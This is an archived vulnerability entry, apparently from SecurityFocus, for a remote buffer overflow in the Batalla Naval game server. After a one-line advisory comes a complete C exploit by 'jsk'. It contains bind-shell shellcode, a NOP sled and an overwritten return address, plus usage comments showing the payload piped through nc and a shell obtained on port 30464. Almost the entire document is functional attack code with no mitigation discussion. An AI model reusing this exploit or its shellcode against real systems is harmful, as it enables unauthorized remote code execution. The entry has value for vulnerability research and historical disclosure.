source: http://www.securityfocus.com/bid/7699/info
 
Batalla Naval is prone to a remotely exploitable buffer overflow when handling requests of excessive length. This could allow for execution of malicious instructions in the context of the game server. 

/*
 *by jsk for gbnserver remote exploit demo
 * example:(./gbnex;cat )|nc 127.0.0.1 1995
 * ctrol c
 * ./nc 127.0.0.1 30464
 * id
 * uid=508(sa2) gid=508(sa2) groups=508(sa2)
 *2003-6-2
 *welcome to http://www.ph4nt0m.net & www.patching.net
 *ths warning3
 */
#include <stdlib.h>
#include <unistd.h>

#define NOP        0x90

#define OFFSET     100

#define bufsize    584

char shellcode[] =

        "\x31\xc0"                      /* xorl %eax,%eax        */
        "\xb0\x02"                      /* movb $0x2,%al         */
        "\xcd\x80"                      /* int $0x80             */
        "\x85\xc0"                      /* testl %eax,%eax       */
        "\x75\x43"                      /* jne 0x43              */
        "\xeb\x43"                      /* jmp 0x43              */
        "\x5e"                          /* popl %esi             */
        "\x31\xc0"                      /* xorl %eax,%eax        */
        "\x31\xdb"                      /* xorl %ebx,%ebx        */
        "\x89\xf1"                      /* movl %esi,%ecx        */
        "\xb0\x02"                      /* movb $0x2,%al         */
        "\x89\x06"                      /* movl %eax,(%esi)      */
        "\xb0\x01"                      /* movb $0x1,%al         */
        "\x89\x46\x04"                  /* movl %eax,0x4(%esi)   */
        "\xb0\x06"                      /* movb $0x6,%al         */
        "\x89\x46\x08"                  /* movl %eax,0x8(%esi)   */
        "\xb0\x66"                      /* movb $0x66,%al        */
        "\xb3\x01"                      /* movb $0x1,%bl         */
        "\xcd\x80"                      /* int $0x80             */
        "\x89\x06"                      /* movl %eax,(%esi)      */
        "\xb0\x02"                      /* movb $0x2,%al         */
        "\x66\x89\x46\x0c"              /* movw %ax,0xc(%esi)    */
        "\xb0\x77"                      /* movb $0x77,%al        */
        "\x66\x89\x46\x0e"              /* movw %ax,0xe(%esi)    */
        "\x8d\x46\x0c"                  /* leal 0xc(%esi),%eax   */
        "\x89\x46\x04"                  /* movl %eax,0x4(%esi)   */
        "\x31\xc0"                      /* xorl %eax,%eax        */
        "\x89\x46\x10"                  /* movl %eax,0x10(%esi)  */
        "\xb0\x10"                      /* movb $0x10,%al        */
        "\x89\x46\x08"                  /* movl %eax,0x8(%esi)   */
        "\xb0\x66"                      /* movb $0x66,%al        */
        "\xb3\x02"                      /* movb $0x2,%bl         */
        "\xcd\x80"                      /* int $0x80             */
        "\xeb\x04"                      /* jmp 0x4               */
        "\xeb\x55"                      /* jmp 0x55              */
        "\xeb\x5b"                      /* jmp 0x5b              */
        "\xb0\x01"                      /* movb $0x1,%al         */
        "\x89\x46\x04"                  /* movl %eax,0x4(%esi)   */
        "\xb0\x66"                      /* movb $0x66,%al        */
        "\xb3\x04"                      /* movb $0x4,%bl         */
        "\xcd\x80"                      /* int $0x80             */
        "\x31\xc0"                      /* xorl %eax,%eax        */
        "\x89\x46\x04"                  /* movl %eax,0x4(%esi)   */
        "\x89\x46\x08"                  /* movl %eax,0x8(%esi)   */
        "\xb0\x66"                      /* movb $0x66,%al        */
        "\xb3\x05"                      /* movb $0x5,%bl         */
        "\xcd\x80"                      /* int $0x80             */
        "\x88\xc3"                      /* movb %al,%bl          */
        "\xb0\x3f"                      /* movb $0x3f,%al        */
        "\x31\xc9"                      /* xorl %ecx,%ecx        */
        "\xcd\x80"                      /* int $0x80             */
        "\xb0\x3f"                      /* movb $0x3f,%al        */
        "\xb1\x01"                      /* movb $0x1,%cl         */
        "\xcd\x80"                      /* int $0x80             */
        "\xb0\x3f"                      /* movb $0x3f,%al        */
        "\xb1\x02"                      /* movb $0x2,%cl         */
        "\xcd\x80"                      /* int $0x80             */
        "\xb8\x2f\x62\x69\x6e"          /* movl $0x6e69622f,%eax */
        "\x89\x06"                      /* movl %eax,(%esi)      */
        "\xb8\x2f\x73\x68\x2f"          /* movl $0x2f68732f,%eax */
        "\x89\x46\x04"                  /* movl %eax,0x4(%esi)   */
        "\x31\xc0"                      /* xorl %eax,%eax        */
        "\x88\x46\x07"                  /* movb %al,0x7(%esi)    */
        "\x89\x76\x08"                  /* movl %esi,0x8(%esi)   */
        "\x89\x46\x0c"                  /* movl %eax,0xc(%esi)   */
        "\xb0\x0b"                      /* movb $0xb,%al         */
        "\x89\xf3"                      /* movl %esi,%ebx        */
        "\x8d\x4e\x08"                  /* leal 0x8(%esi),%ecx   */
        "\x8d\x56\x0c"                  /* leal 0xc(%esi),%edx   */
        "\xcd\x80"                      /* int $0x80             */
        "\x31\xc0"                      /* xorl %eax,%eax        */
        "\xb0\x01"                      /* movb $0x1,%al         */
        "\x31\xdb"                      /* xorl %ebx,%ebx        */
        "\xcd\x80"                      /* int $0x80             */
        "\xe8\x5b\xff\xff\xff";

int main()

{

    long offset = 0;

    int ret;

    u_char buf[bufsize];

    memset(buf, NOP, bufsize);





    memcpy(&buf[bufsize-(strlen(shellcode)+21*sizeof
(ret))],shellcode,strlen(shellcode));

    ret =  0xbfffde8c;

    memcpy(&buf[bufsize-(sizeof(ret))], &ret, sizeof(ret));

    memcpy(&buf[bufsize-(2*sizeof(ret))], &ret, sizeof(ret));

    memcpy(&buf[bufsize-(3*sizeof(ret))], &ret, sizeof(ret));

    memcpy(&buf[bufsize-(4*sizeof(ret))], &ret, sizeof(ret));

    memcpy(&buf[bufsize-(5*sizeof(ret))], &ret, sizeof(ret));

    memcpy(&buf[bufsize-(6*sizeof(ret))], &ret, sizeof(ret));

    memcpy(&buf[bufsize-(7*sizeof(ret))], &ret, sizeof(ret));

    memcpy(&buf[bufsize-(8*sizeof(ret))], &ret, sizeof(ret));

    memcpy(&buf[bufsize-(9*sizeof(ret))], &ret, sizeof(ret));

    memcpy(&buf[bufsize-(10*sizeof(ret))], &ret, sizeof(ret));

    memcpy(&buf[bufsize-(11*sizeof(ret))], &ret, sizeof(ret));

    memcpy(&buf[bufsize-(12*sizeof(ret))], &ret, sizeof(ret));

    memcpy(&buf[bufsize-(13*sizeof(ret))], &ret, sizeof(ret));

    memcpy(&buf[bufsize-(14*sizeof(ret))], &ret, sizeof(ret));

    memcpy(&buf[bufsize-(15*sizeof(ret))], &ret, sizeof(ret));

    memcpy(&buf[bufsize-(16*sizeof(ret))], &ret, sizeof(ret));

    memcpy(&buf[bufsize-(17*sizeof(ret))], &ret, sizeof(ret));

    memcpy(&buf[bufsize-(18*sizeof(ret))], &ret, sizeof(ret));

    memcpy(&buf[bufsize-(19*sizeof(ret))], &ret, sizeof(ret));

    memcpy(&buf[bufsize-(20*sizeof(ret))], &ret, sizeof(ret));

    memcpy(&buf[bufsize-(21*sizeof(ret))], &ret, sizeof(ret));



printf("%s\n",buf);

}

